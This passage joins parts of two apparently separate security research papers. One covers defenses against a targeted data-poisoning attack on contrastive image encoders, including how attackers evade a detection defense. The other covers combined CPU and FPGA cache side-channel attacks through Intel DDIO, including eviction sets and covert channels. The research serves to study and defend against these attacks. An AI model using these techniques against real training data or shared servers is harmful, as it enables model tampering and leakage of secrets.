which may correspond to a cluster.

To evade such pre-processing defense, the attacker can ran-
domly crop a target/reference input before combining them
to construct a poisoning input. Specifically, the attacker crops
a random square region of the target input and a random
square region of the reference input with a cropping scale,
which is the ratio between the square region size and the tar-
get/reference input size. Then, the two random square regions
are combined and resized to construct a poisoning input. Fig-
ure 8 shows the ASR of PoisonedEncoder when the attacker
randomly crops a target/reference input with different crop-
ping scales when the pre-processing defense is not deployed,
where cropping scale = 1 means no cropping. Our results
show that ASR decreases as the cropping scale decreases
when the defense is not deployed. This is because a smaller
cropping scale makes it harder for the poisoned encoder to
learn similar feature vectors for the original target input and
reference inputs.
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Figure 9: Results of pre-processing defense. The cropping
scale refers to that an attacker crops a target/reference input
before using them to construct poisoning inputs.

Figure 9 shows the False Positive Rate (FPR) and False
Negative Rate (FNR) of detecting poisoning inputs, as well
as the ASR of PoisonedEncoder after removing the detected
poisoning inputs and pre-training on the remaining inputs,
where K = 100 for K-Means, and we treat poisoning input
as “positive” and clean input as “negative”. When Poisoned-
Encoder does not use random cropping (i.e., cropping scale
is 1) before combinations, the defense can effectively defend
against PoisonedEncoder. However, the defense is ineffec-
tive, i.e., FNR is close to 1, when PoisonedEncoder randomly
crops target/reference inputs to construct poisoning inputs.
For instance, PoisonedEncoder with cropping scale 0.8 still
achieves high ASRs.

6.2 In-processing Defenses

Early stopping: Intuitively, PoisonedEncoder relies on
enough pre-training epochs to make the poisoned encoder pro-
duce similar feature vectors for a target input and the reference
inputs, and enough training epochs of the target downstream
classifier to predict the reference/target inputs as the target
class. Therefore, early stopping, in which an encoder is pre-
trained or a downstream classifier is trained using less epochs,
could mitigate PoisonedEncoder. Figure 10 shows the ASR
of PoisonedEncoder and the target downstream classifier’s
PA as a function of the number epochs used to pre-train an
encoder or train the target downstream classifier. We observe
that early stopping can reduce ASR when pre-training an en-
coder or training a downstream classifier using less epochs.
However, such early stopping also reduces the accuracy of the
downstream classifiers built based on the poisoned encoder.
To summarize, early stopping can mitigate PoisonedEncoder
at the cost of sacrificing utility.

Bagging: Jia et al. [29] showed that bagging, a well-known
ensemble method, has intrinsic certified robustness against
data poisoning attacks. The idea is to create multiple random
subsamples of training data and learn a base classifier on
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Figure 10: In-processing defense: early stopping. First row:
early stopping when pre-training an encoder. Second row:
early stopping when training a downstream classifier.

Table 9: In-processing defense: bagging. “Dropped Ratio” is
the decreased percentage of the PA when bagging is used,
compared to when bagging is not used.

Pre-training Dataset ASR PA Dropped Ratio (%)
CIFAR10 0.0 0.431 39.2

Tiny-ImageNet 0.0 0.415 34.9

each subsample; and we take majority vote among the base
classifiers to classify a testing input. We extend bagging to
contrastive learning as a defense against PoisonedEncoder.
In particular, we create multiple random subsamples of pre-
training data and pre-train a base encoder on each subsample
using SimCLR; given a downstream task, we train a base
downstream classifier based on each base encoder; and we
take majority vote among the base downstream classifiers to
classify a testing input. Such bagging-based method provably
predicts the same label for a testing input when the number
of poisoning inputs in the pre-training dataset is bounded.

Table 9 shows the ASR of PoisonedEncoder and the PA of
the target downstream task, where each subsample includes
500 randomly selected pre-training inputs and we create 100
subsamples/base encoders/base classifiers. The “Dropped Ra-
tio” in the table is the decreased percentage of PA in Table 9,
compared to that in Table 3. Our results show that bagging can
defend against PoisonedEncoder at the cost of substantially
reducing the accuracy of the downstream classifiers.
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Table 10: In-processing defense: pre-training without random
cropping. “Dropped Ratio” is the decreased percentage of the
PA when random cropping is not used, compared to when
random cropping is used.

Pre-training Dataset ASR PA Dropped Ratio (%)
CIFAR10 0.1 0.391 45.3

Tiny-ImageNet 0.1 0.380 40.3
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Figure 11: Post-processing defense. The x-axis is in log-scale.

Pre-training without random cropping: PoisonedEncoder
exploits the random cropping data augmentation operation,
which is widely used in contrastive learning. Therefore, a
countermeasure against PoisonedEncoder is to not use ran-
dom cropping during pre-training. Table 10 shows the ASR
of PoisonedEncoder and the PA of the target downstream
task when random cropping is not used by SimCLR for pre-
training. Our results show that pre-training without random
cropping can mitigate PoisonedEncoder, but it sacrifices the
utility of the encoder substantially. Our observation is consis-
tent with Chen et al. [14], which showed that random cropping
is crucial for contrastive learning.

6.3 Post-processing Defense

In this defense, the encoder provider aims to remove the attack
effect from a potentially poisoned encoder by fine-tuning it for
extra epochs on some clean images. Figure 11 shows the ASR
of PoisonedEncoder and the PA of the target downstream task
when we randomly sample a certain fraction of clean images
in the pre-training dataset for fine-tuning, where the number
of fine-tuning epochs is 300 and the fine-tuning learning rate
is 0.0001. Our results show that fine-tuning can reduce the
ASR of PoisonedEncoder without sacrificing the encoder’s
utility. However, it requires manually collecting a large set of
clean images, which is time-consuming.

7 Related Work

7.1 Data Poisoning Attacks

Data poisoning attacks generally refer to tampering with the
training data of a machine learning system such that the poi-
soned model makes incorrect predictions as an attacker de-
sires [6]. Specifically, the attacker may desire the model to
make incorrect predictions for indiscriminate testing inputs
(i.e., have low testing accuracy), which are known as untar-
geted data poisoning attacks, or desire the model to make
attacker-chosen, incorrect predictions for attacker-chosen test-
ing inputs, which are known as targeted data poisoning at-
tacks. We study targeted data poisoning attacks to contrastive
learning in this work.

Data poisoning attacks to supervised learning: Data poi-
soning attacks have been studied extensively for various super-
vised learning algorithms such as support vector machine [8],
logistic regression [57], and neural networks [22,28,40,49,51].
These attacks tamper with the features and/or labels of training
examples to perform untargeted data poisoning attacks [8,40]
or targeted data poisoning attacks [22, 28, 49, 51]. These
attacks are often formulated as bilevel optimization prob-
lems [8, 50], where the attacker’s objective on the poisoned
model is formulated as the outer optimization while learning
the poisoned model on the poisoned training data is formu-
lated as the inner optimization. Data poisoning attacks to
different machine learning algorithms instantiate different
bilevel optimization problems, which are often challenging
to solve and require customized, heuristic solutions. We ex-
tended a state-of-the-art targeted data poisoning attack [22]
to neural network based classifier to contrastive learning; and
our results show that such extended attack achieves subopti-
mal attack success rate due to the challenge of solving our
formulated bilevel optimization problem.

Data poisoning attacks to semi-supervised learning: Dif-
ferent from supervised learning, semi-supervised learning
uses both labeled and unlabeled training data. Therefore, other
than tampering with the labeled training data, an attacker can
also tamper with the unlabeled training data to attack semi-
supervised learning. For instance, Wang and Gong [54] pro-
posed data poisoning attacks to graph-based semi-supervised
learning methods via manipulating the graph structure. Xu
et al. [59] extended such attack by adding new fake nodes
without manipulating existing graph structure. Carlini [11]
proposed a targeted data poisoning attack to semi-supervised
learning for image classification, which tampers with the unla-
beled training data. Roughly speaking, he proposed a heuristic
approach to craft unlabeled poisoning inputs that are inter-
polations between a target input and reference inputs. We
extended this attack to contrastive learning and our results
show that such extended attack achieves suboptimal attack
success rate due to the difference between semi-supervised
learning and contrastive learning.
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Data poisoning attacks to contrastive learning: Data poi-
soning attacks to contrastive learning are much less explored.
To the best of our knowledge, Carlini and Terzis [12] is the
only work on data poisoning attacks to contrastive learning.
However, they focus on multi-modal contrastive learning,
which pre-trains encoders on (image, text) pairs. In particular,
their attack constructs text captions containing the attacker-
chosen target class and associates them with the attacker-
chosen target image to generate the poisoning (target image,
text captions) pairs, which are injected into the pre-training
dataset. We note that their attack is not applicable to image-
only contrastive learning, which is the focus of our work,
because the images are not associated with text.

Other data poisoning attacks: Data poisoning attacks have
been proposed to many other machine learning systems. Ex-
amples include recommender systems [19, 21, 27, 36, 60], fed-
erated analytics [7, 9, 10, 18, 20, 39, 58], search engines [33],
as well as natural language models [47, 48]. For instance, in
federated analytics, clients perform computation on their data
locally and send computation results instead of raw data to a
cloud server. As a result, other than tampering with their data,
malicious clients (fake clients or compromised genuine ones)
can also tamper with the computation process, which result
in stronger poisoning attacks [10, 18].

Backdoor attacks: Backdoor attacks [15, 23, 31, 38] also
tamper with the training phase, e.g., an attacker embeds a
trigger to some training inputs and changes their labels to an
attacker-chosen one. A model learnt on such poisoned training
data predicts the attacker-chosen label for any input once the
attacker embeds the trigger into it. Unlike data poisoning
attacks that tamper with the training phase alone, backdoor
attacks tamper with both training and testing phases.

7.2 Defenses against Data Poisoning Attacks

Depending on the stage of a machine learning pipeline where
a defense is deployed, we can categorize defenses against data
poisoning attacks into pre-processing defenses, in-processing
defenses, and post-processing defenses. Pre-processing de-
fenses aim to detect and remove poisoning training examples
before the training process starts; in-processing defenses aim
to re-design the training algorithm such that it can learn an
accurate and clean model even if some training examples are
poisoned; and post-processing defenses aim to remove the
attack effect from a model that has already been trained on
(potentially) poisoned training data.

Pre-processing defenses: Some defenses [42, 43] in this
category detect poisoning training examples based on the
label-mismatch between a training example and its nearest
neighbors. In particular, Paudice et al. [42] proposed to relabel
a training input as the most frequent label among its k-nearest
neighbors, and the relabeled training data are used to train
a classifier. Peri et al. [43] proposed to remove training ex-

amples whose labels are not the most frequent ones among
their k-nearest neighbors before training a classifier. These
defenses are limited to supervised learning as they rely on
labels of the training examples, and thus are not applicable
to contrastive learning. Other pre-processing defenses aim
to detect poisoning training examples based on anomaly de-
tection [13, 17, 41], which can be broken by strong, adaptive
attacks [34]. In our work, we tailor an anomaly detection
based pre-processing defense to counter PoisonedEncoder,
but our results show that such defense is ineffective when
PoisonedEncoder randomly crops a target/reference input be-
fore using them to construct poisoning inputs.

In-processing defenses: Some in-processing defenses [5,
51, 52] train an initial model using the potentially poisoned
training data, remove potentially poisoned training examples
based on the initial model, and re-train a model using the
remaining training examples. For instance, Reject on Nega-
tive Impact (RONI) [5] measures the impact of each training
example on the error rate of the initial model and removes
the training examples that have large negative impact. Tran et
al. [52] removes a certain fraction of the most abnormal train-
ing examples, where the abnormality of a training example
is measured by the spectral property of its feature representa-
tion obtained from the initial model. Carlini [11] proposed an
in-processing defense that is tailored to their poisoning attack
to the unlabeled training data in semi-supervised learning.
Their key assumption is that the predicted labels of benign
unlabeled training examples are influenced by many other un-
labeled examples simultaneously, while the predicted labels of
poisoning unlabeled examples are predominately influenced
by other poisoning examples. Based on this assumption, their
defense calculates a score for each unlabeled training example
based on the influence of its nearest neighbors on its labels
predicted by the initial model during training; and the scores
are used to detect and remove poisoned training examples.

These defenses 1) are not applicable to contrastive learn-
ing [5, 11, 51], e.g., it is challenging to define “error rate” of
an encoder for a pre-training input and encoder does not pre-
dict labels for the unlabeled pre-training inputs, or 2) require
information that may not be available to a defender [52], e.g.,
an upper bound of the fraction of poisoned training examples.

All the defenses above do not have certified robustness
guarantees. Some works [32, 45, 53, 55] propose new learn-
ing algorithms that have certified robustness, while some
works [29, 30] analyze the intrinsic certified robustness of
existing learning algorithms. A learning algorithm is certifi-
ably robust against data poisoning attacks if its learnt classi-
fier provably predicts the same label for a testing input when
the number of poisoned training examples is bounded. For
instance, Jia et al. [32] and Wang et al. [55] leveraged ran-
domized smoothing to build graph-based algorithms that are
certifiably robust against graph-structure poisoning. Jia et
al. [29, 30] showed that bagging and nearest neighbors have
intrinsic certified robustness against data poisoning attacks.
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We extend bagging to contrastive learning and our results
show that it can defend against PoisonedEncoder but sacri-
fices utility substantially.

We also propose two in-processing defenses (early stop-
ping and no random cropping) that are tailored to contrastive
learning, but our results show that they also sacrifice utility
of the encoder.
Post-processing defenses: Several studies [37, 56] proposed
to post-process a potentially poisoned classifier to remove the
attack effect. These methods often require a clean training
dataset. For instance, a potentially poisoned classifier can
be fine-tuned using a clean training dataset [37]. We extend
fine-tuning to post-process an encoder as a defense against
PoisonedEncoder. Our results show that such defense can
reduce the attack success rate of PoisonedEncoder but requires
a clean pre-training dataset, which may be hard to collect.

8 Conclusion and Future Work

In this work, we show that single-modal contrastive learning
is vulnerable to targeted data poisoning attack. An attacker
can exploit the random cropping operation that contrastive
learning relies on to attack contrastive learning. In particular,
an attacker combines a target input and reference inputs from
the target class to construct poisoning inputs. Our evaluation
shows that our attack is successful and maintains utility of the
encoder. Moreover, extending existing targeted data poisoning
attacks tailored to supervised learning and semi-supervised
learning to contrastive learning achieves suboptimal attack
success rates. Our evaluation on five defenses show that they
are insufficient, i.e., they sacrifice the encoder’s utility or
require a large clean pre-training dataset. An interesting future
work is to develop new defenses against our attack.
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Abstract
As the performance of general-purpose processors faces di-
minishing improvements, computing systems are increasingly
equipped with domain-specific accelerators. Today’s high-end
servers tightly integrate such accelerators with the CPU, e.g.,
giving them direct access to the CPU’s last-level cache (LLC).

Caches are an important source of information leakage
across security domains. This work explores combined cache
attacks, complementing traditional co-tenancy with control
over one or more accelerators. The constraints imposed on
these accelerators, originally perceived as limitations, turn
out to be advantageous to an attacker. We develop a novel
approach for accelerators to find eviction sets, and leverage
precise double-sided control over cache lines to expose un-
documented behavior in non-inclusive Intel cache hierarchies.

We develop a compact and extensible FPGA hardware
accelerator to demonstrate our findings. It constructs evic-
tion sets at unprecedented speeds (<200µs), outperforming
existing techniques with one to three orders of magnitude. It
maintains excellent performance, even under high noise pres-
sure. We also use the accelerator to set up a covert channel
with fine spatial granularity, encoding more than 3 bits per
cache set. Furthermore, it can efficiently evict shared targets
with tiny eviction sets, refuting the common assumption that
eviction sets must be as large as the cache associativity.

1 Introduction

Heterogeneous computing yields great increases in perfor-
mance and energy efficiency with specific processing capa-
bilities for certain tasks. Recently, FPGAs have emerged in
datacenters for providing such capabilities. They can be used
to accelerate wide-scale data center services, such as ma-
chine learning applications. More interestingly, cloud service
providers give control of FPGAs to customers, who can im-
plement custom accelerators and integrate them into their
applications. After initial steps by Amazon’s AWS, which
already allows users to rent FPGA-supported instances, AMD

and Intel acquired the two main FPGA manufacturers (resp.
Xilinx and Altera). The aim is to aid customers in their transi-
tion through easy and low-overhead integration of software
and hardware. As of yet, their security is not fully mature [57].
At the same time, economic incentives attract infrastructure
providers to multi-tenancy, i.e., hosting multiple (distrusting)
entities on the same physical machine. This work evaluates
the impact of heterogeneous multi-tenancy on the quintessen-
tial shared hardware component: the cache hierarchy.

Caches play a fundamental role in high-performance com-
puting. By serving the majority of memory requests from
fast levels of storage close to the processor (CPU), they over-
come the bottleneck caused by comparatively slow memory.
Equally fundamental, however, is the timing side channel they
introduce, as access latencies depend on access patterns of
co-located processes. While some attack techniques rely on
cache flushes and shared memory [14, 70], others work with
contention [21, 33]. To determine the access patterns of the
victim, contention-based attacks employ so-called eviction
sets, i.e., sets of addresses that contend for cache resources.

Over time, the cache side channel was proven effective
to extract keys from cryptographic implementations [3, 17,
41, 70], retrieve user input [13, 40, 50], or infer kernel se-
crets [12, 16, 23]. Caches have also been used to establish
covert channels [33, 37] and are a key enabler of recent tran-
sient execution attacks [25, 31]. The ongoing switch to non-
inclusive cache hierarchies for high-end CPUs was believed
to thwart several attack classes, but this belief has been dis-
proven [66]. However, non-inclusive hierarchies remain rela-
tively unexplored compared to their inclusive counterparts.

The lion’s share of the cache attack literature considers
CPU processes targeting other processes. Recent studies in-
troduced some heterogeneity, whether it be peripheral devices
attacking CPU processes [11,27,62], or CPU processes attack-
ing peripherals [55]. This work identifies combined microar-
chitectural attacks as a threat deserving further examination
(cf. Table 1). It is becoming increasingly common to control
multiple entities (i.e., devices), which differ in computational
capabilities and access to the memory subsystem.
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Table 1: Positioning of threat models considered in this work

Attacker
Victim CPU Secondary

CPU
Last-Level Cache [21, 33, 70]

Packet Chasing [55]Coherence Directory [66]
This work

Secondary Grand Pwning Unit [11] NetCAT [27]JackHammer [62]

Combined This work

Intel’s Data-Direct IO (DDIO) [18] is a prominent technology
that gives PCIe devices direct access to the CPU’s last-level
cache (LLC). For instance, existing FPGA-accelerated cloud
platforms make use of PCIe-based FPGA accelerator cards.
DDIO provokes an interesting dynamic in the cache hierarchy,
which CPU processes observe through the lens of their private
caches, whereas PCIe (DDIO) devices, from now on referred
to as secondary devices, observe it directly through the LLC.
This double view is especially interesting in non-inclusive
cache hierarchies, where the LLC is less amenable to direct
interaction [66]. This work investigates the collusion of mi-
croarchitectural attackers in heterogeneous systems, applied
to the widely-used DDIO technology, which already has been
shown to bear security implications [27, 55, 62].

In light of the growing interest in heterogeneous comput-
ing, this paper seeks to answer the following questions:

How precisely can combined attackers control shared cache
state? Can the constraints imposed on DDIO devices turn out
to be advantageous? Do common assumptions remain valid
in the face of combined attackers?

In this paper, we study combined heterogeneous attacks on
emerging non-inclusive Intel cache hierarchies. We identify a
set of properties governing the interaction between the CPU
and DDIO devices. Attacks originating from secondary de-
vices, e.g., network cards [27] or FPGAs [62], perceive these
properties as limitations. For combined attackers, who can
dispatch between CPU and secondary device, they enable
otherwise infeasible techniques. Ultimately, this leads us to
challenge common assumptions, as summarized in Table 2.
When relevant, we instantiate secondary devices with FPGAs.
Contributions. Summarized, our main contributions are:

- We explore key primitives for combined cache attacks
and discover a new DDIO-related structure in the LLC.

- We develop a fast and reliable procedure for secondary
devices to find eviction sets in non-inclusive Intel caches.

- We leverage precise LLC manipulation for reliable evic-
tion with fewer congruent addresses than there are ways.

- We design an FPGA accelerator that implements the
aforementioned techniques and make it openly available:

https://github.com/KULeuven-COSIC/Double-Trouble

Table 2: Challenging common understanding

Common Understanding Our Finding

Eviction set construction
reached speed limits [60]

Accelerating Eviction Set
Construction (Section 4)

Secondary devices only allocate
to DDIO region in LLC [18, 27, 62]

Discover undocumented
DDIO+ region (Section 5)

Non-inclusive LLC:
needs directory conflicts [66]

Eviction from private cache
through LLC (Section 6.1)

Cannot evict from remote socket
without flush [22, 68]

Flushless cache attacks
across sockets (Section 6.1)

Minimal eviction set is as
large as associativity [33, 60]

Reliable Eviction with Tiny
Eviction Sets (Section 6.2)

Amplitude-based encoding
precluded by self-eviction [37]

Modulation and Multi-bit
Symbols (Section 8.2)

2 Background

2.1 Heterogeneous Computing
As the limits of general-purpose computers are pushed,
domain-specific computation gains importance. Companies
have started playing games with custom chips, combining
CPUs with accelerators, e.g., for machine learning or net-
working. Instead of inefficiently increasing CPU core counts,
these architectures complement CPUs with custom acceler-
ators, offering high-performance computation, often at low
power. Popular examples are Google’s TPU and Apple’s M1.

On the server side, FPGA-attached CPUs serve the grounds
to play this game. With their hardware programmability,
FPGAs allow users to implement custom accelerators for their
specific needs. Some cloud providers (e.g., AWS) already pro-
vide homemade accelerators to customers, or a marketplace
where accelerators can be sold or rented. CPU giants have
acquired FPGA manufacturers (Intel-Altera, AMD-Xilinx),
and are working on tight integration of CPUs and FPGAs.

Today, these platforms attach FPGAs to CPUs as PCIe ac-
celerator cards. On the CPU side, kernel drivers and APIs
enable applications to communicate with their hardware ac-
celerators. On the FPGA side, Control and Status Registers
(CSRs) offer basic data transfers, and Direct Memory Access
(DMA) allows the FPGA to access system memory. In this pa-
per, we focus on the latter, as it interacts with the CPU memory
subsystem. Although we focus on FPGA-specific terminol-
ogy, many conclusions carry over to other PCIe-connected
devices, e.g., Network Interface Cards (NICs) or Thunderbolt.

2.2 Cache Organization
Modern cache hierarchies comprise multiple levels. Lower
cache levels are closer to the CPU, and are usually smaller
and faster than higher levels. Typical Intel processors have
three cache levels, with L1 and L2 caches private to each core,
and the last-level cache (L3, or LLC) shared between cores.

3648    31st USENIX Security Symposium USENIX Association

https://github.com/KULeuven-COSIC/Double-Trouble


Caches are organized as arrays of cache lines of, typically,
64 bytes. Most caches are set-associative, meaning that they
are partitioned in sets. Each cache line maps to exactly one
set, based on an indexing function applied to their address.
The associativity refers to the number of lines that can reside
simultaneously in the same set, i.e., the number of ways, W.

When a requested line is not present in a cache (i.e., a
cache miss), it is usually installed after propagating the request
to the next level. In the absence of empty ways, the cache
replacement policy determines the line to evict in favor of the
incoming one. Lines mapped to the same set are congruent.
Contending for the same resource, they can evict each other.

The inclusion invariants of the cache hierarchy determine
whether cache lines can reside simultaneously in multiple
levels. A cache is inclusive w.r.t. another (lower-level) cache
if every line in the latter must also be present in the former.
Exclusive caches cannot have lines in common. Caches that
do not satisfy either invariant are non-inclusive. Historically,
Intel LLCs are inclusive, but to keep up with increasing core
counts, non-inclusive LLCs are becoming commonplace [38].

Contemporary LLCs are partitioned in slices, with an un-
documented and architecture-dependent mapping [36]. For
large core counts, the slices are interconnected with a mesh
architecture [38]. High-end systems can have multiple CPU
sockets, connected with a coherent memory hierarchy.

2.3 Data-Direct IO (DDIO)
Direct Cache Access (DCA) [15] is a mechanism developed
for the fast exchange of Ethernet frames between CPUs and
Network Interface Cards (NICs). Instead of accessing main
memory, NICs interact directly with the CPU’s LLC to allevi-
ate memory bottlenecks and cache thrashing, improving I/O
performance [9,10,19,29,34]. DDIO [18] is Intel’s implemen-
tation of DCA, available on server-grade CPUs. It is enabled
on such CPUs by default, and PCIe devices (NICs, FPGAs,
etc.) transparently interact with the LLC instead of memory.

Unfortunately, specific DDIO behavior is largely undocu-
mented, especially for non-inclusive cache hierarchies. Some
works partially reverse-engineer it [27,62]. Section 3.2 covers
known and yet unknown DDIO behavior in detail.

2.4 Cache Attacks
The observation that the execution time of a program depends
on its control flow and interaction with the cache hierarchy
characterized the first generation of cache attacks [3, 26, 43].
Later, the case was made for co-located attackers, i.e., those
running code on the same physical platform as potential vic-
tims. By manipulating and observing the cache state, they
observe much more fine-grained access patterns [41, 44].

Arguably the strongest technique is FLUSH+RELOAD,
where the attacker flushes a target line from the cache (e.g., us-
ing clflush on x86), and later reads it to determine whether

the victim accessed it in the meantime. In the absence of
clflush [30], an attacker can evict the shared line instead,
which is referred to as EVICT+RELOAD [13]. Both tech-
niques require shared memory with the victim (e.g., KSM [2]).
In contrast, PRIME+PROBE only relies on cache contention.
In particular, the attacker occupies an entire cache set with
her own lines, waits, and afterwards loads these lines again.
If another process has accessed lines congruent to those of
the attacker, this will be reflected in the attacker’s access la-
tency. Due to its low requirements, PRIME+PROBE has been
mounted from restricted environments [27, 40].

The target cache needs to be shared between attacker and
victim. Initial attacks considered same-core attackers and
targeted the L1 cache [41,44]. Later attacks managed to target
the LLC [21, 33, 70], enlarging the threat to cross-core attacks.

Until recently, cross-core EVICT+RELOAD and PRIME+
PROBE relied explicitly on the inclusive nature of the LLC.
In this case, eviction from the LLC implies invalidation in all
lower-level caches to preserve the inclusion invariant [21, 33].
This allows to evict lines from other cores’ private caches.
Non-inclusive Caches. In non-inclusive caches, lines in L2
are not necessarily present in the LLC. In fact, they rarely
are, since loads from memory are installed in L1/L2, skipping
the LLC. Conversely, contention on the LLC alone does not
invalidate lines in the lower-level caches of other cores. To
overcome this problem for non-inclusive Intel CPUs, Yan
et al. [66] propose contention on the coherence directory
(CD), also referred to as the snoop filter. The CD tracks lines
present in lower-level caches, and is inclusive to accelerate
coherence transactions with other cores [72]. On Intel CPUs,
the LLC and CD share the same slice and set mapping.

This paper considers cross-core attacks in non-inclusive
Intel caches. The targets are the LLC and CD, and lines are
congruent when they share the same LLC/CD set and slice.

2.5 Eviction Set Construction
Prior to a PRIME+PROBE or EVICT+RELOAD attack, the at-
tacker constructs eviction sets, i.e., sets of congruent addresses.
If physical addresses and their mapping to LLC/CD sets and
slices are known, finding congruent addresses is trivial.

In practice, however, the attacker is limited on both fronts.
First, unprivileged processes observe virtual addresses, orga-
nized in 4 KiB or 2 MiB pages, and do not know the virtual-

06121721

Set index bits for a 2048-set LLC:

Small page (4 KiB):

Huge page (2 MiB):

Figure 1: Control over cache set index depends on page sizes
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Table 3: Platforms Used for Experimentation

Platform CPU Arch. Core FPGA
Intel Xeon Count Intel PAC

ACE 1 Plat. 8180 SKL-SP 28 A10
ACE 2 Plat. 8280 CLX-SP 28 S10 (x2)
Local Silver 4208 CLX-SP 8 A10 (x2)

SKL: Skylake, CLX: Cascade Lake

Cache Info Ways Size per Core

L1 Core-Private 8 32 KB
L2 Core-Private 16 1 MB
LLC Shared, Non-Inclusive 11 1.375 MB

to-physical address translation. Therefore, physical address
control is limited to the page frame bits, which are unaffected
by translation (cf. Figure 1). Second, the slicing function is
undocumented and architecture-dependent [36, 66].

Liu et al. [33] construct eviction sets for inclusive LLCs.
Vila et al. [60] accelerate it by improving the time complexity
from quadratic to linear. Yan et al. [66] find LLC/CD eviction
sets in non-inclusive Intel caches. To that end, they introduce
helper sets that are congruent in L2 but not the LLC. Tech-
niques for non-inclusive caches are currently underdeveloped
w.r.t. inclusive caches. Moreover, because of the indirect in-
teraction with the LLC, their noise-resilience is unclear.

2.6 Experimental Setup
We work remotely on Intel Labs (IL) Academic Compute En-
vironment (ACE), with dual-socket Xeon Platinum CPUs (28
cores/slices per socket). We also use a local lab setup, with
dual-socket Xeon Silver CPUs (8 cores/slices per socket).
All platforms have non-inclusive LLCs. The platforms uti-
lize Intel’s PCIe-based FPGA accelerator cards called Pro-
grammable Acceleration Cards (PACs), either with Arria 10
(A10) or Stratix 10 (S10) family FPGAs. Table 3 summarizes
the platforms and their cache hierarchy.

A basic FPGA design can transparently interact with the
memory subsystem over DDIO. At a high level, it can read and
write to memory, and distinguish between access latencies
(L2/LLC/RAM) based on immutable timing sources. A detailed
description of our implementation is deferred to Section 7.

3 Double Trouble: Combined Cache Attacks

3.1 Threat Model
The main threat model in this work is the combined attacker
(ACMB). As indicated in Figure 2, she controls at least one CPU
core and a secondary device connected over DDIO. In our
case, an FPGA is used as the secondary device. The attacker

Core Core

L1 L1

L2 L2

LLC

Core Core

L1 L1

L2 L2

LLC

RAM

FPGA FPGA

PCIe Bus

VCC VCS V2DASTD
ACMB

Figure 2: Combined attackers control a CPU process and sec-
ondary device. We consider three victim types (VCC,VCS,V2D).

can dispatch operations to software and hardware, and share
memory between them. For completeness, we also consider
traditional attackers (ASTD) without a secondary device.

The attacker has no privileges and does not know the slice
mapping. We do not assume the availability of a clflush in-
struction (in accordance to, e.g., [66]). Although our findings
do not strictly require huge memory pages, we assume them
to be available, as they are enabled by default on server-grade
platforms with FPGA acceleration (e.g., OPAE [20]).

To navigate the heterogeneity in attacker and victim prop-
erties, Table 4 summarizes our main results and indicates the
configurations to which they apply. We distinguish between
the degree of co-location: attacker and victim running on
different cores (VCC), on different sockets (VCS), or a victim
secondary device attached to the attacker socket (V2D).

Section 4 introduces a new algorithm for swift and reliable
eviction set construction, overturning the limitations of sec-
ondary devices. Section 5 exposes undocumented behavior in
the LLC, which we use to obtain an intra-cache-set granularity.
Section 6 shows how standard attackers can evict shared lines
without CD contention, and how combined attackers can do
so with tiny eviction sets. These results require shared mem-
ory between the attacker and victim. Section 7 describes our
implementation of an FPGA hardware accelerator, which is
evaluated in Section 8.

Table 4: Applicability of the main results of this work

Capabilities Attacker Victim Shared
MemoryASTD ACMB VCC VCS V2D

Eviction Set Finding 3 3 3 3
Intra-set Granularity 3 3 3
Eviction without CD 3 3 3 3 3
Reduced Eviction 3 3 3 3
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3.2 Key Properties
3.2.1 Spatially Limited Interaction With LLC

To prevent thrashing, DDIO devices only interact with a frac-
tion of the last-level cache (LLC) [18]. Lines read by the
secondary device are not allocated in the LLC [27, 62], but
they are served from the LLC if already present. Lines written
by the secondary device are allocated, but only to a limited
number of ways (two by default) in every set [10, 27].

In contrast to previous suggestions [18,27], we find that the
replacement policy is not LRU (cf. rationale in Appendix C).
Non-Default DDIO Configurations. The number of LLC
ways to which DDIO can write-allocate is, by default, two [10,
27]. However, this can be configured in the IIO_LLC_WAYS
Model Specific Register (MSR) [10, 32], with a bitmask that
represents the cache ways used by DDIO. The minimal and de-
fault setting is 0x600. More ways can be activated by setting
more bits, provided that the selected ways are consecutive. In
this paper, we denote the number of DDIO ways as D.

The default configuration (D=2) is, arguably, the most im-
portant to study from a security point of view. In accordance
with prior studies [27, 62], we focus our attention on this con-
figuration, and assume it unless otherwise indicated. However,
when relevant, we generalize our findings to 2≤ D≤W .

Property #1: Spatially limited LLC interaction.
Secondary devices interact directly with the LLC. Only
writes trigger cache line placement, which is statically
constrained to a limited number of ways (two by default).

3.2.2 Reading Without Consequences

The property that secondary devices do not read-allocate in the
cache has an underappreciated corollary: it allows attackers
to query the cache state without disturbing it. We illustrate
the implications of this power with two relevant examples.
Example: Counting LLC Entries. Consider how to infer
how many (out of N) lines are cached in the LLC. This can be
done by measuring the access latency of all N lines, counting
those within the predetermined LLC timing range.

CPU-only attackers are limited in their accuracy. Consider
the case where at least one line is not cached. Measuring the
access latency of this line allocates it in the cache. In this pro-
cess, it may evict the other lines, perturbing the measurement.

The combined attacker, in contrast, can measure the cache
state reliably, i.e., a partial measurement does not endanger
the validity of the full measurement, and repetitively, i.e.,
several measurements of the same state can be combined.
Example: Eviction Candidate. For lines already in the LLC,
do secondary reads influence the eviction candidate, i.e., the
line to be evicted upon installation of a new congruent line?

Consider Figure 3, where X0, X1 and X2 are congruent lines.
X0 and X1 are placed in the DDIO region with secondary writes.

Figure 3: Secondary reads do not change eviction candidates.

X1 is written repeatedly to ensure that X0 is the eviction can-
didate. Indeed, we observe that writing X2 evicts X0.

In a first experiment, the secondary device writes a few
times to X0. We observe that placement of X2 now evicts X1,
so the earlier write to X0 changed the eviction candidate to X1.
The second experiment performs several reads of X0. If the
replacement policy records these reads, the eviction candidate
should change to X1. Still, we find that placing X2 always
evicts X0. We conclude that secondary reads, in contrast to
writes, do not influence the LLC replacement policy state.

Finding #2: Non-destructive secondary reads.
Secondary reads are non-destructive. Reading uncached
lines does not trigger cache allocation, and reading LLC
lines does not influence their replacement policy state.

3.2.3 Two-sided Cache Hierarchy Manipulation

Combined attackers can approach non-inclusive cache hierar-
chies from two sides. We now cover known and novel primi-
tives to trigger movement between L21 and the LLC. Moving
or copying lines to the LLC is useful, as lines evicted from
the LLC are invalidated in all cache levels [66]. Moving lines
from the LLC to L2 is useful to invalidate specific LLC ways.
Our repository supports these findings with experiments.
L2 to LLC. The most straightforward way to move an L2 line
to the LLC is to access sufficient addresses mapped to the
same L2 set (cf. Figure 4a). This technique can only be used
by processes running on the core tied to the specific L2 cache.

Yan et al. [66] demonstrate the eviction of lines from re-
mote private caches, i.e., L2 caches associated with other cores.
They do this by generating contention on the coherence di-
rectory CD (cf. Figure 4b), the inclusive structure co-located
with the LLC that keeps track of lines in L2 caches.

On our test platforms, we observe that when a line is ac-
cessed by two processes on different cores, it is copied to
the LLC. The line then co-exists in the LLC and both private
